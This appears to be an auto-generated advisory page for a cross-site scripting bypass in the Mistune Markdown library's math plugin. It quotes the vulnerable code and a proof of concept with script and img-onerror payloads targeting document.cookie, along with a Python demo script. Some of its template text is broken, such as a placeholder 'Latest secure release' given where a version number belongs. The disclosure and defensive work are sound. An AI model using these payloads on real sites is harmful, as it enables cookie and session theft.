CVE-2026-44708: Mistune Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-8g87-j6q8-g93x
CVSS 6.1
CWE-79
Published
Advisory Summary

CVE-2026-44708 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Mistune libraries in the PyPI ecosystem. The issue involves mistune math plugin has an xss escape bypass. Remediation is available in the latest vendor maintenance releases.

CVE-2026-44708 at a Glance

CVE Identifier CVE-2026-44708
GHSA Identifier GHSA-8g87-j6q8-g93x
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Mistune
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44708

To remediate this vulnerability, upgrade all affected Mistune dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mistune fixed: Latest secure release
pip install mistune>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mistune

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44708, inspect your installed packages using pip:

pip show mistune

Analyze the terminal output to locate any version of Mistune in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show mistune command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Mistune, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely. ## Details **File:** `src/mistune/plugins/math.py` ```python def render_inline_math(renderer, text): # `text` is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>" def render_block_math(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n" ``` Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function: - calls `escape(text)` from `mistune.util` - checks `renderer._escape` - calls `safe_entity(text)` or any other sanitisation helper The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not. ## PoC **Step 1 — Establish the baseline (escape=True works for plain HTML)** The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters: ```python md = create_markdown(escape=True, plugins=["math"]) bl_src = "<script>alert(document.cookie)</script>\n" bl_out = str(md(bl_src)) ``` Expected and actual output — the script tag is correctly escaped: ```html <p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p> ``` This confirms `escape=True` is working for the normal render path. **Step 2 — Craft the exploit payload** Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`: ```python ex_src = "$<script>alert(document.cookie)</script>$\n" ex_out = str(md(ex_src)) ``` **Step 3 — Observe the bypass** Actual output — the script tag is emitted raw, unescaped: ```html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p> ``` The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`. **Step 4 — Block math variant (`$$...$$`)** The same bypass applies to block-level math. Payload: ``` $$ <img src=x onerror="alert(document.cookie)"> $$ ``` Output: ```html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div> ``` The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`. ### Script A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import create_markdown md = create_markdown(escape=True, plugins=["math"]) # --- baseline --- bl_file = "baseline_h1.md" bl_src = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — escape=True works normally here]") print(bl_out) # --- exploit --- ex_file = "exploit_h1.md" ex_src = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — escape=True bypassed inside math delimiters]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", bl_file, bl_src, bl_out)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h1.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example usage: ```bash python poc.py ``` Once the script is run, open `report_h1.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | **Integrity** | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) | **Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.

CVE-2026-44708 Affected Mistune Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
mistune
PyPI
≤ 3.2.0

References

Frequently Asked Questions

What is CVE-2026-44708?
CVE-2026-44708 is a security vulnerability in Mistune involving Mistune Math Plugin has an XSS Escape Bypass under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Mistune versions are affected?
Affected versions include releases prior to current release patches across affected packages: mistune.
What version fixes CVE-2026-44708?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is mistune affected?
Yes, mistune is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-44708?
CVE-2026-44708 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-44708?
CVE-2026-44708 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-44708?
Run the dependency tree command: 'pip show mistune'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8g87-j6q8-g93x",
  "modified" : "2026-06-08T23:30:19Z",
  "published" : "2026-05-08T23:40:04Z",
  "aliases" : [ "CVE-2026-44708" ],
  "summary" : "Mistune Math Plugin has an XSS Escape Bypass",
  "details" : "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'<span class=\"math\">\\(' + text + r\"\\)</span>\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '<div class=\"math\">$$\\n' + text + \"\\n$$</div>\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"<script>alert(document.cookie)</script>\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$<script>alert(document.cookie)</script>$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n<p><span class=\"math\">\\(<script>alert(document.cookie)</script>\\)</span></p>\n```\n\nThe `<script>` block is live inside the `<span class=\"math\">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$\n```\n\nOutput:\n```html\n<div class=\"math\">$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$</div>\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"<script>alert(document.cookie)</script>\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$<script>alert(document.cookie)</script>$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H1 — Math XSS</title><style>{CSS}</style></head><body>\n<h1>H1 — Math Plugin XSS (escape=True bypass)</h1>\n<p class=\"desc\">render_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.</p>\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mistune"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lepture/mistune"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lepture/mistune/releases/tag/v3.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T23:40:04Z",
    "nvd_published_at" : "2026-05-26T21:16:38Z"
  }
}